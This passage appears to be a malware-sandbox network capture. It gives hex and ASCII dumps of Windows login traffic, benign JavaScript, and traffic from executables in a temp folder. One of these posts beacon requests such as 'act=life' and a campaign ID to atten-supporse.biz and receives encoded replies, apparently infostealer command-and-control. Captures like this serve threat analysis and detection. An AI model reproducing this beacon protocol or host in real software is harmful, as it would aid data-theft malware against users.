a});na=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a};_.pa=function(a){var b=typeof Symbol!="
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 3d 5b 5d 3b 76 61 72 20 6b 3d 74 68 69 73 3b 74 68 69 73 2e 4e 4f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6b 2e 78 37 28 29 7d 29 7d 74 68 69 73 2e 44 66 2e 70 75 73 68 28 68 29 7d 3b 76 61 72 20 64 3d 5f 2e 6b 61 2e 73 65 74 54 69 6d 65 6f 75 74 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4e 4f 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 64 28 68 2c 30 29 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 78 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 74 68 69 73 2e 44 66 26 26 74 68 69 73 2e 44 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 44 66 3b 74 68 69 73 2e 44 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 Data Ascii: =[];var k=this;this.NO(function(){k.x7()})}this.Df.push(h)};var d=_.ka.setTimeout;b.prototype.NO=function(h){d(h,0)};b.prototype.x7=function(){for(;this.Df&&this.Df.length;){var h=this.Df;this.Df=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 74 68 69 73 3b 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 68 2e 58 62 61 28 29 29 7b 76 61 72 20 6b 3d 5f 2e 6b 61 2e 63 6f 6e 73 6f 6c 65 3b 74 79 70 65 6f 66 20 6b 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 6b 2e 65 72 72 6f 72 28 68 2e 74 66 29 7d 7d 2c 0a 31 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 58 62 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 58 55 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 68 3d 5f 2e 6b 61 2e 43 75 73 74 6f 6d 45 76 65 6e 74 2c 6b 3d 5f 2e 6b 61 2e 45 76 65 6e 74 2c 6c 3d 5f 2e 6b 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 3b 69 66 28 74 79 70 65 6f 66 20 6c 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 21 30 3b 74 79 70 65 6f 66 Data Ascii: unction(){var h=this;d(function(){if(h.Xba()){var k=_.ka.console;typeof k!=="undefined"&&k.error(h.tf)}},1)};e.prototype.Xba=function(){if(this.XU)return!1;var h=_.ka.CustomEvent,k=_.ka.Event,l=_.ka.dispatchEvent;if(typeof l==="undefined")return!0;typeof
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 7d 3b 65 2e 72 65 73 6f 6c 76 65 3d 63 3b 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6c 28 68 29 7d 29 7d 3b 65 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 66 6f 72 28 76 61 72 20 6d 3d 5f 2e 70 61 28 68 29 2c 6e 3d 6d 2e 6e 65 78 74 28 29 3b 21 6e 2e 64 6f 6e 65 3b 6e 3d 6d 2e 6e 65 78 74 28 29 29 63 28 6e 2e 76 61 6c 75 65 29 2e 5a 78 28 6b 2c 6c 29 7d 29 7d 3b 65 2e 61 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 5f 2e 70 61 28 68 29 2c 6c 3d 6b 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 6c 2e 64 6f 6e 65 3f 63 28 5b 5d 29 3a 6e 65 77 20 65 28 Data Ascii: };e.resolve=c;e.reject=function(h){return new e(function(k,l){l(h)})};e.race=function(h){return new e(function(k,l){for(var m=_.pa(h),n=m.next();!n.done;n=m.next())c(n.value).Zx(k,l)})};e.all=function(h){var k=_.pa(h),l=k.next();return l.done?c([]):new e(
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 72 65 74 75 72 6e 20 65 7d 3b 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 0a 6d 61 28 22 57 65 61 6b 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 63 28 6c 29 7b 76 61 72 20 6d 3d 74 79 70 65 6f 66 20 6c 3b 72 65 74 75 72 6e 20 6d 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 6c 21 3d 3d 6e 75 6c 6c 7c 7c 6d 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7d 66 75 6e 63 74 69 6f 6e 20 64 28 6c 29 7b 69 66 28 21 72 61 28 6c 2c 66 29 29 7b 76 61 Data Ascii: return e};ma("Array.prototype.keys",function(a){return a?a:function(){return Ea(this,function(b){return b})}});ma("WeakMap",function(a){function b(){}function c(l){var m=typeof l;return m==="object"&&l!==null\|\|m==="function"}function d(l){if(!ra(l,f)){va
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 6b 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 6c 3d 6e 65 77 20 61 28 5f 2e 70 61 28 5b 5b 6b 2c 22 73 22 5d 5d 29 29 3b 69 66 28 6c 2e 67 65 74 28 6b 29 21 3d 22 73 22 7c 7c 6c 2e 73 69 7a 65 21 3d 31 7c 7c 6c 2e 67 65 74 28 7b 78 3a 34 7d 29 7c 7c 6c 2e 73 65 74 28 7b 78 3a 34 7d 2c 22 74 22 29 21 3d 6c 7c 7c 6c 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6d 3d 6c 2e 65 6e 74 72 69 65 Data Ascii: f(function(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var k=Object.seal({x:4}),l=new a(_.pa([[k,"s"]]));if(l.get(k)!="s"\|\|l.size!=1\|\|l.get({x:4})\|\|l.set({x:4},"t")!=l\|\|l.size!=2)return!1;var m=l.entrie
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 5b 6b 2e 6b 65 79 2c 6b 2e 76 61 6c 75 65 5d 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 6b 2e 6b 65 79 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 6b 2e 76 61 6c 75 65 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 66 6f 72 28 76 61 72 20 6d 3d 74 68 69 73 2e 65 6e 74 72 69 65 73 28 29 2c 0a Data Ascii: return e(this,function(k){return[k.key,k.value]})};c.prototype.keys=function(){return e(this,function(k){return k.key})};c.prototype.values=function(){return e(this,function(k){return k.value})};c.prototype.forEach=function(k,l){for(var m=this.entries(),
2024-12-02 10:20:16 UTC	1255	IN	Data Raw: 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 68 69 73 2e 49 61 3d 6e 65 77 20 4d 61 70 3b 69 66 28 63 29 7b 63 3d 0a 5f 2e 70 61 28 63 29 3b 66 6f 72 28 76 61 72 20 64 3b 21 28 64 3d 63 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 74 68 69 73 2e 61 64 64 28 64 2e 76 61 6c 75 65 29 7d 74 68 69 73 2e 73 69 7a 65 3d 74 68 69 73 2e 49 61 2e 73 69 7a 65 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 3d 66 75 6e 63 74 69 6f Data Ascii: done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;var b=function(c){this.Ia=new Map;if(c){c=_.pa(c);for(var d;!(d=c.next()).done;)this.add(d.value)}this.size=this.Ia.size};b.prototype.add=functio

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.11.20	49742	40.126.62.130	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:20:21 UTC	420	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19042.0.0; IDCRL-cfg 16.000.29143.3; App svchost.exe, 10.0.19041.546, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4742 Host: login.live.com
2024-12-02 10:20:21 UTC	4742	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 10:20:22 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 10:19:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: a4909291-f982-4279-9616-693dd150e3c9 PPServer: PPV: 30 H: SN1PEPF0002F0EF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 10:20:21 GMT Connection: close Content-Length: 10217
2024-12-02 10:20:22 UTC	10217	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.11.20	49757	40.126.62.130	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:21:18 UTC	420	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19042.0.0; IDCRL-cfg 16.000.29143.3; App svchost.exe, 10.0.19041.546, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4737 Host: login.live.com
2024-12-02 10:21:18 UTC	4737	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 10:21:18 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 10:20:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 57dbfb9b-d90f-4cb2-8b06-9d3bcbbbcdd9 PPServer: PPV: 30 H: SN1PEPF0002F0F1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 10:21:17 GMT Connection: close Content-Length: 10965
2024-12-02 10:21:18 UTC	10965	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49767	18.213.123.165	443	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:21:41 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-02 10:21:42 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:21:42 GMT Content-Type: application/json Content-Length: 33 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-02 10:21:42 UTC	33	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 31 37 33 2e 32 34 34 2e 35 36 2e 31 36 39 22 0a 7d 0a Data Ascii: { "origin": "173.244.56.169"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49772	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:21:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-02 10:21:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-02 10:21:51 UTC	1026	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=su39sb77isvto23uchk9ako92u; expires=Fri, 28-Mar-2025 04:08:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lMuTJJ%2FaYPJHrUJeye7vpnQasn%2FwrxOeHcH%2FXB2t%2BbR58aWDyxScWsowN%2FpOURuraahImyqzVGve7DVvdIL2HwtjBlHaTOawYtefRS7bfU2%2FX5hanzve1qOQ2wwUkig3yaNtcUg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba979d9c300fe8-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=157103&min_rtt=157041&rtt_var=33228&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=24351&cwnd=252&unsent_bytes=0&cid=1fde968860e35fbb&ts=2784&x=0"
2024-12-02 10:21:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-02 10:21:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49775	172.67.165.166	443	7964	C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:21:51 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-02 10:21:51 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-02 10:21:56 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ebqccu96addqjd6v37snb9em8; expires=Fri, 28-Mar-2025 04:08:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R%2Bi41uqa%2BFvey6XZgj3pJhCWITH6ZS9E4V9BlAsHGxfL%2FFW8ZGVszppQt704TJaL3rQiTw599vj6TbI7PrpLnrBE%2BAnYa4oRmvPJmghZ2pO0RcjlIYf9xg3p3enLIHZeGHzpDnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eba97b17c20f7cd-LAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=156999&min_rtt=156880&rtt_var=33189&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=24380&cwnd=252&unsent_bytes=0&cid=5a60f62e6a0c166a&ts=4055&x=0"
2024-12-02 10:21:56 UTC	347	IN	Data Raw: 33 65 64 33 0d 0a 79 72 2b 6d 6d 64 46 2f 54 4d 56 4c 31 7a 75 74 52 31 68 70 36 38 2f 78 73 45 57 79 6c 68 42 6a 79 56 43 32 41 4e 66 68 67 64 36 78 6e 64 43 37 36 30 74 67 35 7a 69 79 47 5a 63 7a 4b 68 79 4f 34 39 50 52 49 5a 43 73 64 67 4b 6c 49 39 4d 73 39 5a 66 73 2f 50 44 5a 78 2f 57 69 47 6d 44 6e 4c 71 38 5a 6c 78 77 6a 53 34 36 68 30 34 70 6e 31 2f 78 79 41 71 55 79 31 32 75 34 6b 65 32 39 6f 74 50 42 38 62 51 63 4b 4b 51 6e 75 6c 37 49 49 6a 6b 44 68 61 61 63 32 43 69 51 75 6a 49 47 73 33 4b 4d 49 70 71 45 39 62 2b 48 33 74 58 79 38 77 4a 67 76 6d 6d 79 56 59 39 39 65 67 69 4f 72 5a 33 57 49 64 6e 2b 65 41 75 74 4d 39 4a 71 70 34 6a 6e 74 71 4c 64 77 76 43 2b 46 54 79 70 4c 62 31 56 7a 69 67 35 53 38 66 74 6c 4d 70 6e 69 4c 51 68 4d 36 67 6a 78 Data Ascii: 3ed3yr+mmdF/TMVL1zutR1hp68/xsEWylhBjyVC2ANfhgd6xndC760tg5ziyGZczKhyO49PRIZCsdgKlI9Ms9Zfs/PDZx/WiGmDnLq8ZlxwjS46h04pn1/xyAqUy12u4ke29otPB8bQcKKQnul7IIjkDhaac2CiQujIGs3KMIpqE9b+H3tXy8wJgvmmyVY99egiOrZ3WIdn+eAutM9Jqp4jntqLdwvC+FTypLb1Vzig5S8ftlMpniLQhM6gjx
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 50 43 64 77 76 57 79 45 43 36 31 49 62 35 53 79 6a 63 78 41 6f 53 67 6b 39 38 74 33 2f 64 79 42 71 45 34 32 32 69 78 6a 75 36 36 71 4e 32 45 74 66 4d 61 4e 75 64 78 39 58 72 4b 4e 54 30 48 6e 2b 2b 70 6b 6a 69 65 37 54 49 47 70 33 4b 4d 49 72 32 47 34 4c 2b 6a 30 73 66 7a 75 41 38 75 74 53 2b 34 58 4e 30 6a 50 77 57 44 72 6f 48 59 4b 64 62 33 65 77 71 69 4e 39 4e 6d 39 63 32 6a 75 37 43 64 6e 4c 75 53 45 43 57 72 49 36 4a 5a 6a 7a 70 30 45 73 6d 71 6e 35 4a 2f 6b 50 42 7a 42 61 6f 32 32 6d 79 78 6a 2b 57 79 70 64 4c 43 38 62 4d 61 4a 4b 38 68 74 46 54 45 4b 6a 6f 4f 68 4b 6d 56 33 69 62 56 74 44 78 42 72 43 71 55 4f 76 57 74 35 4c 2b 36 6e 2f 48 34 76 52 4d 70 73 57 6d 71 46 39 5a 6c 50 51 66 4a 39 64 50 63 49 74 2f 6d 63 78 4f 75 50 4d 5a 75 73 49 58 75 Data Ascii: PCdwvWyEC61Ib5SyjcxAoSgk98t3/dyBqE422ixju66qN2EtfMaNudx9XrKNT0Hn++pkjie7TIGp3KMIr2G4L+j0sfzuA8utS+4XN0jPwWDroHYKdb3ewqiN9Nm9c2ju7CdnLuSECWrI6JZjzp0Esmqn5J/kPBzBao22myxj+WypdLC8bMaJK8htFTEKjoOhKmV3ibVtDxBrCqUOvWt5L+6n/H4vRMpsWmqF9ZlPQfJ9dPcIt/mcxOuPMZusIXu
2024-12-02 10:21:56 UTC	1369	IN	Data Raw: 48 34 76 52 4d 70 73 57 6d 71 46 39 5a 6c 50 51 66 4a 39 64 50 65 4c 74 44 2f 65 41 57 72 4e 64 6c 6e 74 6f 54 67 73 61 2f 58 79 76 79 33 45 53 65 71 4c 37 56 65 79 79 41 6f 44 6f 43 68 6e 35 4a 70 6b 50 4e 71 51 66 4e 79 2b 32 57 6a 67 4d 79 2f 75 64 53 45 35 50 30 45 62 71 41 6c 39 51 47 50 49 6a 38 44 67 71 75 62 30 6a 58 56 2b 6e 6b 41 6f 54 54 56 62 37 6d 46 34 37 32 6f 32 38 6a 37 74 42 6f 38 74 53 79 7a 53 38 56 6c 64 45 75 4f 74 64 4f 4b 5a 2b 62 6b 5a 52 43 39 63 4f 46 68 75 34 33 6b 71 75 6a 43 69 75 4c 7a 47 69 4c 6e 63 66 56 53 7a 79 6b 39 41 34 2b 70 6d 39 30 6f 32 65 5a 7a 44 61 55 67 30 32 4b 38 6a 65 79 77 6f 64 44 44 39 72 67 58 49 36 4d 75 74 42 6d 42 5a 54 30 54 79 66 58 54 35 44 66 64 2b 46 77 4b 70 7a 75 55 66 66 75 61 